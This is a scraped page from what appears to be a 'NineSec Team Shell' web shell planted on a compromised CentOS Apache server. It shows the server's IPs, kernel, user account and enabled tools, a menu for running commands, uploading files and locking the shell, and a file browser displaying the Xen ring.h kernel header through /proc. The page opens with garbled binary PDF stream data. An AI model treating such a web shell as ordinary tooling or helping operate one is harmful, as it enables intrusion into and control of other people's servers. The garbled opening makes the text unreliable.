%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 10.0.3.46  /  Your IP : 172.69.17.187
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34
System : Linux ukmjuara 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON
Directory (0755) :  /proc/16354/root/lib/modules/3.10.0-957.10.1.el7.x86_64/source/include/xen/interface/io/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //proc/16354/root/lib/modules/3.10.0-957.10.1.el7.x86_64/source/include/xen/interface/io/ring.h
/******************************************************************************
 * ring.h
 *
 * Shared producer-consumer ring macros.
 *
 * Tim Deegan and Andrew Warfield November 2004.
 */

#ifndef __XEN_PUBLIC_IO_RING_H__
#define __XEN_PUBLIC_IO_RING_H__

typedef unsigned int RING_IDX;

/* Round a 32-bit unsigned constant down to the nearest power of two. */
#define __RD2(_x)  (((_x) & 0x00000002) ? 0x2		       : ((_x) & 0x1))
#define __RD4(_x)  (((_x) & 0x0000000c) ? __RD2((_x)>>2)<<2    : __RD2(_x))
#define __RD8(_x)  (((_x) & 0x000000f0) ? __RD4((_x)>>4)<<4    : __RD4(_x))
#define __RD16(_x) (((_x) & 0x0000ff00) ? __RD8((_x)>>8)<<8    : __RD8(_x))
#define __RD32(_x) (((_x) & 0xffff0000) ? __RD16((_x)>>16)<<16 : __RD16(_x))

/*
 * Calculate size of a shared ring, given the total available space for the
 * ring and indexes (_sz), and the name tag of the request/response structure.
 * A ring contains as many entries as will fit, rounded down to the nearest
 * power of two (so we can mask with (size-1) to loop around).
 */
#define __CONST_RING_SIZE(_s, _sz)				\
	(__RD32(((_sz) - offsetof(struct _s##_sring, ring)) /	\
		sizeof(((struct _s##_sring *)0)->ring[0])))

/*
 * The same for passing in an actual pointer instead of a name tag.
 */
#define __RING_SIZE(_s, _sz)						\
	(__RD32(((_sz) - (long)&(_s)->ring + (long)(_s)) / sizeof((_s)->ring[0])))

/*
 * Macros to make the correct C datatypes for a new kind of ring.
 *
 * To make a new ring datatype, you need to have two message structures,
 * let's say struct request, and struct response already defined.
 *
 * In a header where you want the ring datatype declared, you then do:
 *
 *     DEFINE_RING_TYPES(mytag, struct request, struct response);
 *
 * These expand out to give you a set of types, as you can see below.
 * The most important of these are:
 *
 *     struct mytag_sring      - The shared ring.
 *     struct mytag_front_ring - The 'front' half of the ring.
 *     struct mytag_back_ring  - The 'back' half of the ring.
 *
 * To initialize a ring in your code you need to know the location and size
 * of the shared memory area (PAGE_SIZE, for instance). To initialise
 * the front half:
 *
 *     struct mytag_front_ring front_ring;
 *     SHARED_RING_INIT((struct mytag_sring *)shared_page);
 *     FRONT_RING_INIT(&front_ring, (struct mytag_sring *)shared_page,
 *		       PAGE_SIZE);
 *
 * Initializing the back follows similarly (note that only the front
 * initializes the shared ring):
 *
 *     struct mytag_back_ring back_ring;
 *     BACK_RING_INIT(&back_ring, (struct mytag_sring *)shared_page,
 *		      PAGE_SIZE);
 */

#define DEFINE_RING_TYPES(__name, __req_t, __rsp_t)			\
									\
/* Shared ring entry */							\
union __name##_sring_entry {						\
    __req_t req;							\
    __rsp_t rsp;							\
};									\
									\
/* Shared ring page */							\
struct __name##_sring {							\
    RING_IDX req_prod, req_event;					\
    RING_IDX rsp_prod, rsp_event;					\
    uint8_t  pad[48];							\
    union __name##_sring_entry ring[1]; /* variable-length */		\
};									\
									\
/* "Front" end's private variables */					\
struct __name##_front_ring {						\
    RING_IDX req_prod_pvt;						\
    RING_IDX rsp_cons;							\
    unsigned int nr_ents;						\
    struct __name##_sring *sring;					\
};									\
									\
/* "Back" end's private variables */					\
struct __name##_back_ring {						\
    RING_IDX rsp_prod_pvt;						\
    RING_IDX req_cons;							\
    unsigned int nr_ents;						\
    struct __name##_sring *sring;					\
};

/*
 * Macros for manipulating rings.
 *
 * FRONT_RING_whatever works on the "front end" of a ring: here
 * requests are pushed on to the ring and responses taken off it.
 *
 * BACK_RING_whatever works on the "back end" of a ring: here
 * requests are taken off the ring and responses put on.
 *
 * N.B. these macros do NO INTERLOCKS OR FLOW CONTROL.
 * This is OK in 1-for-1 request-response situations where the
 * requestor (front end) never has more than RING_SIZE()-1
 * outstanding requests.
 */

/* Initialising empty rings */
#define SHARED_RING_INIT(_s) do {					\
    (_s)->req_prod  = (_s)->rsp_prod  = 0;				\
    (_s)->req_event = (_s)->rsp_event = 1;				\
    memset((_s)->pad, 0, sizeof((_s)->pad));				\
} while(0)

#define FRONT_RING_INIT(_r, _s, __size) do {				\
    (_r)->req_prod_pvt = 0;						\
    (_r)->rsp_cons = 0;							\
    (_r)->nr_ents = __RING_SIZE(_s, __size);				\
    (_r)->sring = (_s);							\
} while (0)

#define BACK_RING_INIT(_r, _s, __size) do {				\
    (_r)->rsp_prod_pvt = 0;						\
    (_r)->req_cons = 0;							\
    (_r)->nr_ents = __RING_SIZE(_s, __size);				\
    (_r)->sring = (_s);							\
} while (0)

/* Initialize to existing shared indexes -- for recovery */
#define FRONT_RING_ATTACH(_r, _s, __size) do {				\
    (_r)->sring = (_s);							\
    (_r)->req_prod_pvt = (_s)->req_prod;				\
    (_r)->rsp_cons = (_s)->rsp_prod;					\
    (_r)->nr_ents = __RING_SIZE(_s, __size);				\
} while (0)

#define BACK_RING_ATTACH(_r, _s, __size) do {				\
    (_r)->sring = (_s);							\
    (_r)->rsp_prod_pvt = (_s)->rsp_prod;				\
    (_r)->req_cons = (_s)->req_prod;					\
    (_r)->nr_ents = __RING_SIZE(_s, __size);				\
} while (0)

/* How big is this ring? */
#define RING_SIZE(_r)							\
    ((_r)->nr_ents)

/* Number of free requests (for use on front side only). */
#define RING_FREE_REQUESTS(_r)						\
    (RING_SIZE(_r) - ((_r)->req_prod_pvt - (_r)->rsp_cons))

/* Test if there is an empty slot available on the front ring.
 * (This is only meaningful from the front. )
 */
#define RING_FULL(_r)							\
    (RING_FREE_REQUESTS(_r) == 0)

/* Test if there are outstanding messages to be processed on a ring. */
#define RING_HAS_UNCONSUMED_RESPONSES(_r)				\
    ((_r)->sring->rsp_prod - (_r)->rsp_cons)

#define RING_HAS_UNCONSUMED_REQUESTS(_r)				\
    ({									\
	unsigned int req = (_r)->sring->req_prod - (_r)->req_cons;	\
	unsigned int rsp = RING_SIZE(_r) -				\
			   ((_r)->req_cons - (_r)->rsp_prod_pvt);	\
	req < rsp ? req : rsp;						\
    })

/* Direct access to individual ring elements, by index. */
#define RING_GET_REQUEST(_r, _idx)					\
    (&((_r)->sring->ring[((_idx) & (RING_SIZE(_r) - 1))].req))

#define RING_GET_RESPONSE(_r, _idx)					\
    (&((_r)->sring->ring[((_idx) & (RING_SIZE(_r) - 1))].rsp))

/* Loop termination condition: Would the specified index overflow the ring? */
#define RING_REQUEST_CONS_OVERFLOW(_r, _cons)				\
    (((_cons) - (_r)->rsp_prod_pvt) >= RING_SIZE(_r))

/* Ill-behaved frontend determination: Can there be this many requests? */
#define RING_REQUEST_PROD_OVERFLOW(_r, _prod)               \
    (((_prod) - (_r)->rsp_prod_pvt) > RING_SIZE(_r))


#define RING_PUSH_REQUESTS(_r) do {					\
    wmb(); /* back sees requests /before/ updated producer index */	\
    (_r)->sring->req_prod = (_r)->req_prod_pvt;				\
} while (0)

#define RING_PUSH_RESPONSES(_r) do {					\
    wmb(); /* front sees responses /before/ updated producer index */	\
    (_r)->sring->rsp_prod = (_r)->rsp_prod_pvt;				\
} while (0)

/*
 * Notification hold-off (req_event and rsp_event):
 *
 * When queueing requests or responses on a shared ring, it may not always be
 * necessary to notify the remote end. For example, if requests are in flight
 * in a backend, the front may be able to queue further requests without
 * notifying the back (if the back checks for new requests when it queues
 * responses).
 *
 * When enqueuing requests or responses:
 *
 *  Use RING_PUSH_{REQUESTS,RESPONSES}_AND_CHECK_NOTIFY(). The second argument
 *  is a boolean return value. True indicates that the receiver requires an
 *  asynchronous notification.
 *
 * After dequeuing requests or responses (before sleeping the connection):
 *
 *  Use RING_FINAL_CHECK_FOR_REQUESTS() or RING_FINAL_CHECK_FOR_RESPONSES().
 *  The second argument is a boolean return value. True indicates that there
 *  are pending messages on the ring (i.e., the connection should not be put
 *  to sleep).
 *
 *  These macros will set the req_event/rsp_event field to trigger a
 *  notification on the very next message that is enqueued. If you want to
 *  create batches of work (i.e., only receive a notification after several
 *  messages have been enqueued) then you will need to create a customised
 *  version of the FINAL_CHECK macro in your own code, which sets the event
 *  field appropriately.
 */

#define RING_PUSH_REQUESTS_AND_CHECK_NOTIFY(_r, _notify) do {		\
    RING_IDX __old = (_r)->sring->req_prod;				\
    RING_IDX __new = (_r)->req_prod_pvt;				\
    wmb(); /* back sees requests /before/ updated producer index */	\
    (_r)->sring->req_prod = __new;					\
    mb(); /* back sees new requests /before/ we check req_event */	\
    (_notify) = ((RING_IDX)(__new - (_r)->sring->req_event) <		\
		 (RING_IDX)(__new - __old));				\
} while (0)

#define RING_PUSH_RESPONSES_AND_CHECK_NOTIFY(_r, _notify) do {		\
    RING_IDX __old = (_r)->sring->rsp_prod;				\
    RING_IDX __new = (_r)->rsp_prod_pvt;				\
    wmb(); /* front sees responses /before/ updated producer index */	\
    (_r)->sring->rsp_prod = __new;					\
    mb(); /* front sees new responses /before/ we check rsp_event */	\
    (_notify) = ((RING_IDX)(__new - (_r)->sring->rsp_event) <		\
		 (RING_IDX)(__new - __old));				\
} while (0)

#define RING_FINAL_CHECK_FOR_REQUESTS(_r, _work_to_do) do {		\
    (_work_to_do) = RING_HAS_UNCONSUMED_REQUESTS(_r);			\
    if (_work_to_do) break;						\
    (_r)->sring->req_event = (_r)->req_cons + 1;			\
    mb();								\
    (_work_to_do) = RING_HAS_UNCONSUMED_REQUESTS(_r);			\
} while (0)

#define RING_FINAL_CHECK_FOR_RESPONSES(_r, _work_to_do) do {		\
    (_work_to_do) = RING_HAS_UNCONSUMED_RESPONSES(_r);			\
    if (_work_to_do) break;						\
    (_r)->sring->rsp_event = (_r)->rsp_cons + 1;			\
    mb();								\
    (_work_to_do) = RING_HAS_UNCONSUMED_RESPONSES(_r);			\
} while (0)

#endif /* __XEN_PUBLIC_IO_RING_H__ */

NineSec Team - 2022